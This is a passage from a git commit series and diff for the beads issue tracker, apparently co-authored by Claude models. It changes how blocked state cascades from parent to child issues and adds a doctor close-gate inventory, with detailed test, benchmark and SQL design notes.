p whose target IS p's child) The second disjunct carries the contract's recursive clause through the EXISTING fixpoint instead of through SQL recursion: a parent that is blocked with no child-targeted reason of its own is dark either exogenously or because ITS parent is, and either way its children inherit — one level per pass, exactly as the cascade always converged. A recursive CTE was the other candidate and is rejected on cost, not on engine support. Its seed set is the direct-exogenous set, which includes the waits-for gate, and the seed cannot be confined by the batch scope (%[3]s) because a batch's ancestors are by definition outside the batch. That would put an UNSCOPED whole-table gate evaluation into every batched mark/unmark — the statement shape #6288 removed, now on every write instead of only on the full repair. The predicate here is correlated to a parent that is already known blocked, so it probes idx_dependencies_issue for a handful of rows. The scope splice, the DISTINCT waits-for barrier and the doctor-count lockstep are all untouched. One gap this form does not express: a parent that is BOTH blocked by its own open child AND darkened by an exogenously blocked ancestor is not distinguishable from one blocked only by its children, so its children stay bright. That is an under-propagation in a corner the contract would darken; it needs a second stored bit (or the CTE above) to see, and it cannot recreate the lock this commit removes. Also: AffectedByDepChange{,ForWisp}InTx now seeds the parent's other children on a parent-child edge change (appendSiblingsUnderParentInTx). Writing that edge reclassifies the parent's blocking reason on the new child from exogenous to child-derived, which flips the answer for the SIBLINGS — the close-gate epic is built one child at a time, and the second edge is what un-darkens the first. Without it the incremental write path and the full repair disagree, which the new tests catch as a nonzero doctor count. Tests (internal/storage/dolt/blocked_consistency_test.go), all four seeded through the real write path and each verified RED against the pre-fix SQL except the control: - ParentBlockedOnlyByItsOwnChildren: the repro, plus a GetReadyWork assertion that the children are workable again. - ExogenousParentStillCascades: the control — the fix narrows the cascade, it does not remove it. Green before and after. - ThreeLevelChainBothWays: GP exogenous darkens P and C; GP blocked only by its child P darkens neither. Repaired from an inverted plane too, since the chain is the case that needs more than one pass. - WaitsForGateOverOwnChildren: a gate whose spawner is the parent's own child does not darken; one on an outside spawner does. TestRecomputeAllIsBlocked_CascadesThroughParentChild is unchanged and green, including its single-pass lower-bound count — which is why the legs keep the p.is_blocked = 1 conjunct rather than deriving the cascade from the graph alone. Co-Authored-By: Claude Opus 5 (1M context) * feat(dep): warn when a parent blocks on its own child (wy-3eb07b, #6506) `bd dep add P C` where C is already P's parent-child child is the "close gate on the epic" idiom: P carries a blocks edge onto its own child so P cannot close before it. dep.go refuses the OTHER direction (a child blocking on its dotted-ID parent, "would create a deadlock") and says nothing about this one, which is the direction that used to deadlock for real — the cascade darkened the child, so it could never reach bd ready, be worked, or close. Since the cascade fix the edge is harmless, so this is an advisory, not a refusal: it names what the edge now means (the parent stays blocked; the child and its siblings are NOT hidden from bd ready) so an operator does not have to rediscover the contract from a query. It fires only for blocks/conditional-blocks, only after the edge has actually landed and committed, and stays silent on any read error — an advisory must not turn a successful write into an error, and must not precede a refusal for an edge that was never written (the hierarchy and cycle guards reject this pair whenever both edges already exist, in either order, which is why the shape usually arrives one edge at a time or through import). Unlike the D1 implicit-blocks warning it is NOT gated on an interactive stderr: that one fires on the documented-default majority path, where training callers to ignore stderr is the risk; this one fires on a rare deliberate shape, and an agent wiring a close gate is exactly the caller who should read what it does. Wired into both direct paths (`bd dep add` and `bd dep --blocks`); the proxied-server paths return earlier and are untouched. Tests beside the existing dep-add warning tests: the predicate table (including the two controls — right id with a blocks edge is not a child, and the parent's other children do not match), the message content, and the type gate proving it returns before touching the store. Co-Authored-By: Claude Opus 5 (1M context) * feat(doctor): report parent-blocks-on-own-child edges (wy-3eb07b, #6506) A new "Parent Close Gates" check lists every blocking edge from a parent onto one of its own parent-child children — the close-gate idiom, where P blocks on C1 and C2 so P cannot close before them. INFORMATIONAL, with no --fix and no effect on the overall result. Before the cascade fix these edges were a trap: the parent's blocked bit propagated to its children whatever set it, so the gate hid the very children it was waiting for and nothing under it could become ready. The cascade now propagates only exogenous blockedness, so the edges are legal and usually deliberate. What an operator wants from doctor is therefore the inventory — which beads in this store use the idiom, and where a pre-6506 store's mysteriously invisible children came from — not a repair, and certainly not a warning that would train people to remove a working gate. It is the mirror of the existing "Child-Parent Dependencies" check, which finds a CHILD blocking on its PARENT (still a deadlock, still fixable). The two differ in how they match: that one reads dotted-ID ancestry, this one matches real parent-child edges, because the close gate is wired between unrelated ids. Tests beside the child-parent ones: the empty inventory (with an ordinary hierarchy present, which must not be mistaken for a gate), and the reported case with two controls in the same fixture — an exogenous blocker on the parent and an ordinary blocker on the child, neither of which may appear. Gate note: these live in package cmd/bd/doctor, which the brief's cmd/bd selector does not reach; `go test ./cmd/bd/doctor/` was run in full. Co-Authored-By: Claude Opus 5 (1M context) * revert(dep): drop the unreachable parent-blocks-own-child warning (wy-3eb07b, #6506) This reverts 34b7f5b42. The warning it added could never print. Its precondition is "a blocks edge from P onto C succeeded AND C is already P's parent-child child", and the store refuses exactly that edge. CheckBlockingHierarchyInTx (internal/storage/issueops/dependencies.go) rejects a blocker that is the source's own descendant, and it sits OUTSIDE the SkipCycleCheck gate, so no caller opts out of it; batch_apply.go:533 applies it again on the DependencyEditor path `bd dep add` actually uses. Written in the other order, the parent-child edge that closes the pair is refused as a cycle. So the reverted code paid a GetDependentsWithMetadata read on EVERY blocks/conditional-blocks `bd dep add` to emit something no operator could ever see, and its 102-line test pinned a predicate instead of a behaviour. What an operator DOES hit is the refusal — and the cascade fix left its stated reason false. It read "blocked status cascades to descendants, so would inherit the block and never close". Since #6506 a parent-child edge propagates only the parent's exogenous blockedness, so the descendant does not inherit and nothing deadlocks. The refusal still stands, because a blocks edge is not how the hierarchy says "I close after my children" — so the reason now names the form that is: a waits-for gate over the children, `bd gate`. The same false sentence was the OpenAPI description of Problem.blocker_is_ancestor, so it is corrected there too, with types.gen.go regenerated by `go generate ./internal/httpapi/apigen/` to keep `make api-check` green. The doctor "Parent Close Gates" check from 4c5f2f77b is KEPT. A warning on a write path that refuses the write is noise; an inventory of the edges a store already carries — from import, from merge, from the pre-refusal past — is what an operator can act on. Co-Authored-By: Claude Opus 5 (1M context) * fix(storage): the parent-child exogeneity test is over the whole SUBTREE (wy-3eb07b, #6506) B1 of the adversarial review: 648ab0af6 tested "is this blocking reason's target one of my own children" as a DIRECT parent-child child, but #6506's contract is about blockedness originating outside the parent's own SUBTREE. At depth 1 the fix worked; at depth 2 it left the permanent lock alive. P --blocks--> G, pc C -> P, pc C2 -> P, pc G -> C G is not P's child, so P read exogenous, so P darkened C, so C darkened G — and G is the only row whose close can free P. Exactly the shape-1 mutual lock the issue says no contract intends, one level down. Pinned as TestParentChildCascade_ParentBlocksItsOwnGrandchild, verified RED at 4c5f2f77b: p/c/c2/g all blocked, all three children missing from ready work, and the full repair changing nothing. The test is now a real ancestor walk (subtreeWalkDepth levels of indexed LEFT JOINs up from the reason's target), so a reason anywhere under the blocker counts as its own. Also B2 — the cost regression, which is the same edit, because the shape that makes the test correct and the shape that makes it affordable are one decision. The union's parent-child legs no longer carry a per-row correlated EXISTS. They subtract an uncorrelated set instead: AND p.id NOT IN (parents explained by their own subtree) and the UNBATCHED statements (full repair, doctor count) do not even spell that set as a subquery: it is read ONCE per fixpoint pass and bound as ids. A repair pass is four statements and each would otherwise derive the same set twice; reading it once is the whole difference. The batched mark/unmark keep the spliced subquery, where it is confined to the batch's own parents by the existing scope splice and costs a few rows. MEASURED, gastownhall/beads#6506 bar: full repair and doctor count <= 1.5x origin/main, write path <= 1.2x. Committed benchmark (internal/storage/dolt/blocked_scale_bench_test.go, -short-skipped), 1000 issues / 2870 deps / 333 blocked rows, embedded dolt 2.2.0, run INTERLEAVED main/head to cancel machine drift, four pairs, medians: origin/main 71c4cd08b this branch ratio full repair 48 71 43 46 -> 47 ms 66 56 54 55 -> 55 ms 1.18x doctor count 55 62 44 53 -> 54 ms 67 61 57 57 -> 57 ms 1.06x write path, per CloseIssue 37 30 21 22 -> 26 ms 30 23 16 24 -> 23 ms 0.91x All three inside the bar; the worst single PAIR is 1.38x on the repair and 1.30x on the count. The two sides disagree on blocked rows by construction (604 on main, 333 here) — that IS the fix. NOT inside a bar, and disclosed rather than hidden: the benchmark's fourth timing, a 200-id RecomputeIsBlockedForIDsInTx (the bulk/import batched path, which no metric in the review covered), is 53-63 ms on main against 400-556 ms here — 6.9x at the medians. The cause is structural and measured: a batched pass runs many small statements, each deriving the set twice, and the set costs a few ms however it is written. The per-pass read that fixes the unbatched statements makes the SMALL-batch case worse, not better (one whole-store read costs more than the subqueries a two-id batch pays), so the fix is a per-batch-scoped read threaded through expandBatchTemplate's placeholder plumbing — a separate change, and the reason this timing is committed rather than left in a scratch file. Three shapes were built and measured before this one, all at the same scale: - the review's own: per-row correlated EXISTS with two more inside, 3.3-3.7x full repair, 5.2x doctor count; - the set as a DISTINCT derived table LEFT JOINed on p.id, which is what B2 recommended: ~30x. dolt plans a join operand as the inner side of a nested loop and rebuilds it per outer row — the correlated shape in a derived table's clothes. This is the one finding that contradicts the review, and it is why the set is subtracted with NOT IN instead; - WITH RECURSIVE for the ancestor walk: blew the driver read timeout on the full repair. A recursive CTE pays a query's overhead per ITERATION; the seeded walk cost 45 ms per evaluation against 6 ms for four levels of joins, which is why the walk has a horizon (subtreeWalkDepth = 4, epic -> sub-epic -> leg -> task). Past it a reason reads as exogenous, which propagates MORE and hides nothing the old code showed. Seeding: AffectedByDepChange{,ForWisp}InTx now walks UP from a parent-child edge's target, not just to it. Hanging G under C changes nothing about C and everything about any ANCESTOR of C that blocks on G, so each such ancestor's sibling set is reseeded — otherwise the incremental write path and the full repair disagree, which the new test catches as a nonzero doctor count. The walk is filtered to ancestors that carry a blocking reason at all: without that filter a 70-deep chain reseeds every ancestor's subtree on every edge written into it, which timed out TestGetReadyWork_ParentFilterReturnsDeepDescendants. CHANGELOG now names the limitation the review ruled acceptable but undocumented (a sub-epic blocked both by its own children and by an exogenously blocked ancestor keeps its children visible), marked tracked upstream; bee files the follow-up issue at PR time. Co-Authored-By: Claude Opus 5 (1M context) * fix(doctor): rune-safe Detail truncation, Category on the N/A returns (wy-3eb07b, #6506) The "Parent Close Gates" check joins its inventory with U+2192, three bytes wide, and then cut the joined string at byte 200. Two of every three offsets land mid-rune, so `bd doctor --json` could carry invalid UTF-8 in Detail — a display nuisance in the terminal, but a value a JSON consumer has to decode. truncateDetail walks back to a rune boundary first; the test drives every entry count from 1 to 120 so the cut lands at all three offsets within the arrow and asserts utf8.ValidString on each. The same byte cut appears twice more in this file (:101, :561) on ASCII-only details. Left alone here: they are not this bead's, and changing them would put a behaviour change in two checks a reviewer of #6506 has no reason to be reading. The check's two "N/A" early returns also omitted Category, unlike its three real returns, which drops them out of the categorised report. Both now carry CategoryMetadata. Co-Authored-By: Claude Opus 5 (1M context) * perf(storage): read the batched exogeneity set once per batch, not per statement (wy-3eb07b, #6506) D1, the PR blocker from the round-1 review. The batched mark/unmark templates spliced parentsExplainedBySubtreeSQL — the "which blocked parents are explained only by their own subtree" query — into both of their parent-child legs, batch-scoped. The scope made it look cheap. It was not: dolt pays for a `p.id NOT IN (subquery)` once per leg per STATEMENT, and a batched pass is a mark and an unmark, so one 200-id RecomputeIsBlockedForIDsInTx derived the set four times and measured 6.9x origin/main (53-63 ms -> 400-556 ms). That is the bulk/import path and the cost shape #6288 removed. The set is now READ once per batch and BOUND into both statements as ids — the same trade the unbatched full repair already makes per pass — which is why markBlockedTemplate/unmarkBlockedTemplate are built per batch now: the number of bound ids is a property of the batch. In front of the read sits a cheap indexed guard, batchParentKindsInTx: a parent KIND with no parent-child row in the batch has an empty candidate set, hence an empty exogeneity set, so its read is pure overhead, and the read is a ten-join walk under two CTEs that dolt spends ~8 ms planning whether it returns rows or not. Most batches name no wisp parent at all; a batch of roots names neither. Without the guard the 2-id case measured 1.9x, with it 0.94x. expandBatchTemplate now WALKS the template instead of counting "%s": the batch scope and the bound exogeneity ids alternate inside the union (leg 3's scope, leg 3's NOT IN, leg 4's scope, leg 4's NOT IN), so only text order says where each group goes. It returns an error on a ?/bound mismatch rather than handing the engine an opaque argument-count failure. The %s budget is back to 6 from 8, re-pinned, with two new pins beside it: the ? group is exactly the bound exogeneity ids (none for an empty set), and the mismatch is refused. KEPT, on round-1's measurements: the NOT IN subtraction (the derived-table JOIN measured ~30x in dolt) and the 4-level LEFT JOIN ancestor walk (WITH RECURSIVE blew the driver read timeout). MEASURED. n=1000 issues / 2870 deps / 333-604 blocked, embedded dolt 2.2.0, TestBlockedStateScaleTiming, SIX interleaved origin/main(71c4cd08b)/head pairs, medians, worst single pair in brackets. The bench now times three batch sizes instead of one, because the per-statement and per-id costs pull opposite ways: metric main head ratio bar full repair 49 ms 57 ms 1.16x [1.32x] <= 1.5x MET doctor count (consistent) 48 ms 57 ms 1.18x [1.32x] <= 1.5x MET write path, per CloseIssue 25 ms 26 ms 1.03x [2.59x] <= 1.2x MET batched recompute, 200 id 54 ms 69 ms 1.28x [1.57x] <= 1.5x MET batched recompute, 20 id 17 ms 22 ms 1.29x [1.50x] (measured) batched recompute, 2 id 22 ms 21 ms 0.94x [1.03x] (measured) All four stated bars are met on medians. The worst-pair column is at or inside this box's own noise: over the same six runs origin/main's OWN spread is 2.07x on the full repair, 2.33x on the write path, 1.92x on the 2-id batch and 1.19x on the 200-id batch, so a single pair's ratio is not evidence at this resolution and the medians are what the bars are read off. DISCLOSED, not a stated bar and not fixed here: the bench FIXTURE BUILD — 2870 AddDependency calls plus 240 CloseIssue through the store — is 75 s -> 102 s, 1.36x [1.61x]. That is the dependency-ADD write path, and the cost is round 1's incremental seeding (AffectedByDepChangeInTx now walks up to every reason-carrying ancestor and reseeds its whole sibling set), which is what buys the incremental/full-repair agreement pinned by the lockstep test in the next commit. Per-edge it is sub-millisecond; it shows up here because the fixture writes the hierarchy of a 1000-issue store edge by edge. GATE: go build ./... ; go vet ./internal/storage/issueops/ ; go test ./internal/storage/issueops/ (ok, includes the rewritten template and sqlmock pins) ; BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ -run 'ParentChildCascade|RecomputeAllIsBlocked' (ok) ; gofmt -l clean. The full enumerated gate is on the bead. Co-Authored-By: Claude Opus 5 (1M context) * test(storage): pin both sides of the subtree-walk horizon, and the incremental/full-repair lockstep (wy-3eb07b, #6506) D2 and D3 from the round-1 supervisor ruling. D2 — THE HORIZON IS NOW PINNED, not commented. "Inside my own subtree" is decided by a fixed 4-level ancestor walk (subtreeWalkDepth), because a recursive walk cost 7.5x per evaluation and blew the driver read timeout. Two tests that differ by ONE EDGE straddle it: _ReasonAtTheWalkHorizon P blocks a descendant exactly 4 pc levels down. The walk reaches P, so the reason is subtree-derived and the chain comes bright. RED on origin/main (4 rows dark that the fix brightens) — so it is not vacuous. _ReasonPastTheWalkHorizon one level further. The reason reads as EXOGENOUS, so the whole chain stays dark, which is origin/main's own answer — and that test PASSES UNCHANGED ON origin/main (verified in a temp worktree at 71c4cd08b, since removed). It also asserts no row of the shape appears in GetReadyWork: no new dark rows AND no new visible rows past the horizon, checkable rather than argued. Raising the constant makes it fail and name the row that changed. Both also repair from a fully inverted plane, which is the leg that needs the fixpoint rather than the write path's seeding. The CHANGELOG now names the 4-level horizon beside the existing limitation sentence, and the constant's own doc names the two pins. CAN THE HORIZON BE RAISED? Measured, and the answer is "not on this evidence". Same bench, same box, full repair / doctor count / 20-id batch / 200-id batch: depth 4 57 ms / 58 ms / 21 ms / 69 ms (shipping) depth 6 126 ms / 118 ms / 52 ms / 101 ms 2.2x, TWICE reproduced depth 8 59 ms / 74 ms / 24 ms / 68 ms ~= depth 4, TWICE reproduced The curve is NON-MONOTONIC: 6 falls off a cliff and 8 comes back. That is a dolt planner artifact, not a cost model, and raising a semantics-bearing constant on the strength of a number nobody can explain is the wrong trade — depth 8 also makes every past-horizon shape newly bright, which is a behavior change and not this round's business. Left at 4, with the numbers recorded for whoever picks the knob up. D3 — THE LOCKSTEP. _IncrementalMatchesFullRepairAcrossEdits walks one graph through the mutations that reclassify a blocking reason WITHOUT touching the row that carries it, and after every one asserts both the exact flags and assertConvergedAndStable: detection counts 0 AND a full repair changes 0 rows. An under-seeded incremental path (the AffectedByDepChange{,ForWisp}InTx ancestor walk round 1 added) fails here as a nonzero repair over a graph the write path just finished maintaining. The mutations: re-parent the reason's target INTO the blocker's subtree (which is how the shape arrives — the store refuses a blocks edge straight onto an existing own descendant, and that refusal's reason text is what 3a5203979 corrected), close the descendant, reopen it, re-parent it back OUT, remove the blocks edge. The into/out-of-subtree steps are the ones that flip rows the edge does not name (the parent's other children), which is exactly what appendSiblingsUnderAncestorsInTx exists to seed. RED on origin/main for the semantic values; origin/main's own incremental/full-repair agreement holds there, so what this pins is the agreement, not the numbers. GATE: BEADS_TEST_EMBEDDED_DOLT=1 go test ./internal/storage/dolt/ -run 'ParentChildCascade' -count=1 — 8/8 ok; gofmt -l clean; go vet clean. Co-Authored-By: Claude Opus 5 (1M context) * fix(doctor): the close-gate inventory walks the same four parent-child levels as the cascade (wy-3eb07b, #6506) The "Parent Close Gates" check listed only DIRECT parent->child gates, so the fix's own headline shape (a parent that blocks on its grandchild) never appeared in the inventory. The check now joins a descendant-pairs set built to the same four parent-child levels the cascade uses for "inside my own subtree" (issueops subtreeWalkDepth), as plain joins over the dependency union rather than a correlated subquery, which dolt declined to plan once rows were present. Messages say "own-descendant"; the tests add a grandchild gate (2 listed, the exogenous edge still not) and assert Category. CHANGELOG cites the nested-gap follow-up, gastownhall/beads#6601. Tests run: go build ./... 0; go vet ./cmd/bd/doctor/ 0; gofmt -l clean; env -u BEADS_ACTOR go test ./cmd/bd/doctor/ -run 'ParentBlocksOwnChild|TruncateDetail' -count=1 PASS (3/3). Co-Authored-By: Claude Fable 5.1 * ci: allowlist TestBlockedStateScaleTiming's -short skip (wy-3eb07b, #6506) scripts/check-testing-short.sh reserves testing.Short() for runtime, stress and large-fixture skips and keys them by file::func. The scale-timing test added in this PR builds a 1000-issue / ~2000-edge dolt fixture and times the blocked-state paths over it: a large-fixture skip, and PR Core runs with -short, so it needs the entry. One line, the same shape as the TestUOW_ConcurrentMergeOps_NoLostUpdate row from #4732. Local: ./scripts/ci/pr-policy.sh rc 0 (check testing.Short boundaries succeeded; the other nine legs unchanged). Co-Authored-By: Claude Fable 5.1 * wy-3eb07b: build(bazel): register blocked_scale_bench_test.go in internal/storage/dolt The rebase carried the bench test but not its BUILD.bazel entry, so the Bazel test lane's gazelle sync and Go test equivalence steps failed while every Go lane was green. This is CI's own bazel-sync patch for 043f9c47b9, applied unchanged. Co-Authored-By: Claude Fable 5.1 * fix(blocked): resolve explained parents through their ancestry; walk ancestors on hinted per-table members Maintainer fixup for #6602 (adopt-pr review iteration 1, quality scorecard 760/1000, request_changes; amended at iteration 2, 906/1000, approve). It fixes the review's two major findings, the doctor check's message and its swallowed query failure, the stale core-builder doc, and the stale test-comment names. At iteration 2 it also takes both nits and corrects a CHANGELOG sentence this fixup had made false. - Mixed-arm leak (major). The explained-parent read decides from a parent's own reason rows, and the fixpoint carries the recursive clause only for a parent with no reason row of its own. With Q blocked on an outside X, P a child of Q, and P blocking on its own child C, P read as explained and C came bright under an epic still gated by X, on the write path and in full repair alike. pruneExplainedByAncestryInTx now shrinks every read to the greatest set whose members' blocked parents are all members. A full-repair read is complete, so a blocked parent it did not return is unexplained. A batch-scoped read climbs instead, reading the blocked parents above the batch by id (explainedAmongInTx). The suggested one-level NOT EXISTS is not enough: put a second close gate between them (R blocked on X, pc Q -> R, Q blocks on P, pc P -> Q, P blocks on C) and P's blocked parent Q is in the set, so R's gate never reaches C. - ancestorChainInTx (major) walked the derived UNION of both dependency tables that #7224 removed from isAncestorInTx, on every parent-child write and merge replay. It now walks reachabilityMembers, the hinted per-table recursive members split out of reachabilityQuery, with the reason filter kept in the outer SELECT. TestGraphWalkPlansHonorJoinHints (embedded) gains an ancestor-chain subtest that pins the lookup plan; the old walk fails it. - New dolt tests: TestParentChildCascade_OwnGateUnderExogenousParent (write path, full repair, and X closed and reopened), _NestedGatesBothWays (the two-gate chain both ways, then a close of the children's own blocker, which re-evaluates them through a batch whose read covers nothing above their parents), and _WispGateUnderExogenousParent (a wisp gate under an issue epic, an issue gate under a wisp epic, then an explained wisp gate the walk must read by id above such a batch). Five mutants of the prune were each killed: no prune (the PR head), a one-level check, an over-prune, a scoped read treated as complete, and a scoped read that trusts every parent above it. The eight existing cascade tests pass under all five. Iteration 2 killed two more, each by its own section of the wisp test alone: dropping the lookup of a wisp parent from blockedParentEdgesInTx, and dropping explainedAmongInTx's wisp leg, which had survived all eleven cascade tests. - The doctor check no longer says the children "stay in bd ready", and a failed or timed-out inventory query is now a warning carrying the error, as in validation.go's other checks, instead of an OK that reads as "no gates". TestCheckParentBlocksOwnChildDB_QueryFailureWarns pins it with a closed handle, and it fails with the old status. A warning does not touch doctor's overall result, and it can be suppressed. - The core builder's doc no longer describes the spliced design, and three test comments name builders that exist. - explainedAmongInTx says why it does not tolerate a missing table, as the file's wisp reads do: the prune runs only on a non-empty read, which came from the same core query over all four tables. - The CHANGELOG entry no longer calls #6601's shape (a sub-epic gated on its own children under an exogenously blocked epic) a known limitation that keeps the children visible. The prune darkens them, as TestParentChildCascade_OwnGateUnderExogenousParent pins. Left as-is, all non-gating: the refusal hint's "(bd gate)", an API string pinned by the golden corpus; a parent-child add/remove timing in the scale bench, whose 1000 issues cannot show the 50k shape (the plan pin guards it); and hints for the explained-parent subtree walk and the doctor query. The measured complexity major is runDiagnostics (50/66), the same at base; the PR adds two lines to it. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 * test(storage): re-pin the classic batch-apply statement count for the parent-child cascade The B0 statement-count pins predate this PR's parent-child cascade. The first full run of the storage tiers on the adopted head measured the 40 (classic) shape at 835 statements on both backends, against the pinned 786 +/- 2. All 49 extra statements are reads, seven for each of the shape's seven distinct parent-child dep adds (its eighth repeats a pair and is a no-op): - appendSiblingsUnderAncestorsInTx reseeds the parent's other children: one ancestorChainInTx walk and four child probes, +5. - The batched mark/unmark reads its exogeneity set first (batchExogeneity): the parent-kind probe and the issue-parent read, +2. Measured by logging every statement of the classic apply on the CI base 233d151b37 (786) and on b2b93515bf (835), then diffing the two logs by statement shape. Those seven shapes are the whole difference, each exactly +7, and no write changed. The 356 and 712 shapes are unchanged on both backends. This is the deliberate re-measure and re-pin the pins' doc comment asks for. The per-change breakdown is in pinnedEmbeddedStatementCounts. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Opus 5 (1M context) Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 24 + cmd/bd/doctor.go | 5 + cmd/bd/doctor/validation.go | 148 +++ cmd/bd/doctor/validation_test.go | 155 ++++ internal/httpapi/apigen/types.gen.go | 2 +- internal/httpapi/spec/openapi.v0.yaml | 7 +- .../createbatchequiv/golden/depadd.json | 24 +- internal/storage/dolt/BUILD.bazel | 1 + .../storage/dolt/blocked_consistency_test.go | 869 ++++++++++++++++++ .../storage/dolt/blocked_full_repair_test.go | 2 +- .../storage/dolt/blocked_scale_bench_test.go | 291 ++++++ .../dolt/large_batch_apply_measure_test.go | 7 +- .../embeddeddolt/graph_walk_plan_test.go | 70 +- .../large_batch_apply_measure_test.go | 17 +- .../storage/issueops/blocked_consistency.go | 833 ++++++++++++++++- internal/storage/issueops/blocked_state.go | 388 ++++++-- .../issueops/blocked_state_result_test.go | 26 +- .../issueops/blocked_state_template_test.go | 142 ++- internal/storage/issueops/dependencies.go | 23 +- internal/storage/issueops/reopen_test.go | 4 + issueops/errors.go | 18 +- scripts/check-testing-short.sh | 1 + 22 files changed, 2858 insertions(+), 199 deletions(-) create mode 100644 internal/storage/dolt/blocked_scale_bench_test.go diff --git a/CHANGELOG.md b/CHANGELOG.md index 91fd0bdd7..0fe2dea22 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1486,6 +1486,30 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 a prefix-routed rig whose store cannot be read: routing still reports that failure as not-found. +- **An epic that blocks on its own children no longer hides them from `bd + ready`** ([#6506](https://github.com/gastownhall/beads/issues/6506)). A + parent-child edge now propagates only a parent's *exogenous* blockedness — + blockedness whose cause lies outside the parent's own subtree — so the + close-gate idiom, a parent carrying `blocks` edges onto its own children (or + grandchildren) so it cannot close before them, stops darkening the very work + it is waiting for. The parent itself stays blocked, and a close gate does not + unlock the work under an epic that is itself blocked from outside: a sub-epic + blocked BOTH by its own children AND by an exogenously blocked ancestor still + darkens its children + ([#6601](https://github.com/gastownhall/beads/issues/6601)). + "Inside my own subtree" is decided to a fixed depth of **four** + parent-child levels — epic → sub-epic → leg → task — so a parent that + blocks on something deeper than that still darkens its whole subtree, exactly + as it did before this fix; that depth is a measured trade (the + bounded walk is a fixed chain of index probes, where a recursive one cost + 7.5x per evaluation) and raising it is a one-constant change. Existing stores + repair on the next write that touches the hierarchy, or with + `bd doctor --fix`. +- `bd dep add` no longer explains its refusal of a blocking edge onto your own + descendant by claiming the block would cascade down and never clear — it + does not, as of the fix above. The refusal stands, and now names the + sanctioned way to say it: a waits-for gate over the children. + - **`routes.jsonl` prefixes containing a hyphen now route** ([#5048](https://github.com/gastownhall/beads/issues/5048)). Prefix routing cut the bead ID at its first `-` and required an exact match, so a route diff --git a/cmd/bd/doctor.go b/cmd/bd/doctor.go index 0640d3a9e..4740e6a32 100644 --- a/cmd/bd/doctor.go +++ b/cmd/bd/doctor.go @@ -983,6 +983,11 @@ func runDiagnostics(path string) doctorResult { result.Checks = append(result.Checks, childParentDepsCheck) // Don't fail overall check for child→parent deps, just warn + // Check 22b: Parent→own-child close gates (informational, #6506) + parentCloseGateCheck := convertDoctorCheck(doctor.CheckParentBlocksOwnChild(path)) + result.Checks = append(result.Checks, parentCloseGateCheck) + // Informational only: these edges are legal and never fail the overall check. + // Check 23: Duplicate issues (from bd validate) duplicatesCheck := convertDoctorCheck(doctor.CheckDuplicateIssues(path, doctorOrchestrator, orchestratorDuplicatesThreshold)) result.Checks = append(result.Checks, duplicatesCheck) diff --git a/cmd/bd/doctor/validation.go b/cmd/bd/doctor/validation.go index 86665ed4d..32a24c412 100644 --- a/cmd/bd/doctor/validation.go +++ b/cmd/bd/doctor/validation.go @@ -8,6 +8,7 @@ import ( "os" "path/filepath" "strings" + "unicode/utf8" "github.com/steveyegge/beads/internal/configfile" "github.com/steveyegge/beads/internal/storage" @@ -337,6 +338,153 @@ func CheckChildParentDependencies(path string) DoctorCheck { return checkChildParentDependenciesDB(db) } +// detailMaxBytes is the budget for a DoctorCheck Detail line: enough to show +// the shape of a finding, short enough not to bury the report. +const detailMaxBytes = 200 + +// truncateDetail cuts a detail line to detailMaxBytes WITHOUT splitting a +// rune. The gate inventory joins its entries with U+2192 (three bytes), so a +// plain detail[:200] lands mid-rune about two times in three and puts invalid +// UTF-8 into `bd doctor --json`, where it is no longer a display nuisance but +// a value a consumer has to decode. +func truncateDetail(detail string) string { + if len(detail) <= detailMaxBytes { + return detail + } + cut := detailMaxBytes + for cut > 0 && !utf8.RuneStart(detail[cut]) { + cut-- + } + return detail[:cut] + "..." +} + +// CheckParentBlocksOwnChild reports parents that carry a blocking edge onto one +// of their own parent-child descendants — the "close gate on the epic" idiom, +// where P blocks on C1 and C2 (or on a grandchild) so P cannot close before +// them. +// +// It is INFORMATIONAL and has no fix. Before gastownhall/beads#6506 these +// edges were a trap: the parent's blocked bit cascaded to its children +// whatever set it, so the gate hid the very children it was waiting for and +// nothing in the subtree could ever become ready. The cascade now propagates +// only exogenous blockedness, so the edges are harmless and frequently +// intentional; what an operator wants from doctor is the inventory — which +// beads in this store use the idiom — not a repair. An inventory query that +// fails or times out is a warning, as in the file's other checks, so it cannot +// pass for an empty inventory. +func CheckParentBlocksOwnChild(path string) DoctorCheck { + beadsDir := ResolveBeadsDirForRepo(path) + + db, store, err := openStoreDB(beadsDir) + if err != nil { + return DoctorCheck{ + Name: "Parent Close Gates", + Status: StatusOK, + Message: "N/A (no database)", + Category: CategoryMetadata, + } + } + defer func() { _ = store.Close() }() + + return checkParentBlocksOwnChildDB(db) +} + +// checkParentBlocksOwnChildDB is the core logic for CheckParentBlocksOwnChild. +// The pair is symmetric-but-opposite to checkChildParentDependenciesDB above: +// that one finds a CHILD blocking on its PARENT (still a deadlock, still +// fixable); this one finds a PARENT blocking on its own DESCENDANT, and +// matches on real parent-child edges rather than on dotted-ID ancestry, +// because the close-gate idiom is wired with explicit edges between unrelated +// ids. "Descendant" is walked to the same four parent-child levels the cascade +// fix uses to decide "inside my own subtree" (issueops subtreeWalkDepth), so +// the inventory and the fix agree on which gates are gates: a parent that +// blocks on its grandchild is listed, one that blocks five levels down is not. +func checkParentBlocksOwnChildDB(db *sql.DB) DoctorCheck { + //nolint:gosec // G202: doctorDependencyUnionSQL returns a fixed internal SELECT fragment. + query := ` + SELECT DISTINCT b.issue_id, b.depends_on_id + FROM (` + doctorDependencyUnionSQL() + `) b + JOIN ( + SELECT l1.depends_on_id AS anc, l1.issue_id AS des + FROM (` + doctorDependencyUnionSQL() + `) l1 + WHERE l1.type = 'parent-child' + UNION + SELECT l1.depends_on_id, l2.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + WHERE l1.type = 'parent-child' + UNION + SELECT l1.depends_on_id, l3.issue_id + FROM (` + doctorDependencyUnionSQL() + `) l1 + JOIN (` + doctorDependencyUnionSQL() + `) l2 + ON l2.type = 'parent-child' AND l2.depends_on_id = l1.issue_id + JOIN (` + doctorDependencyUnionSQL() + `) l3 + ON l3.type = 'parent-child' AND l3.depends_on_id = l2.issue_id + WHERE l1.type = 'parent-child' + UNION + SELECT 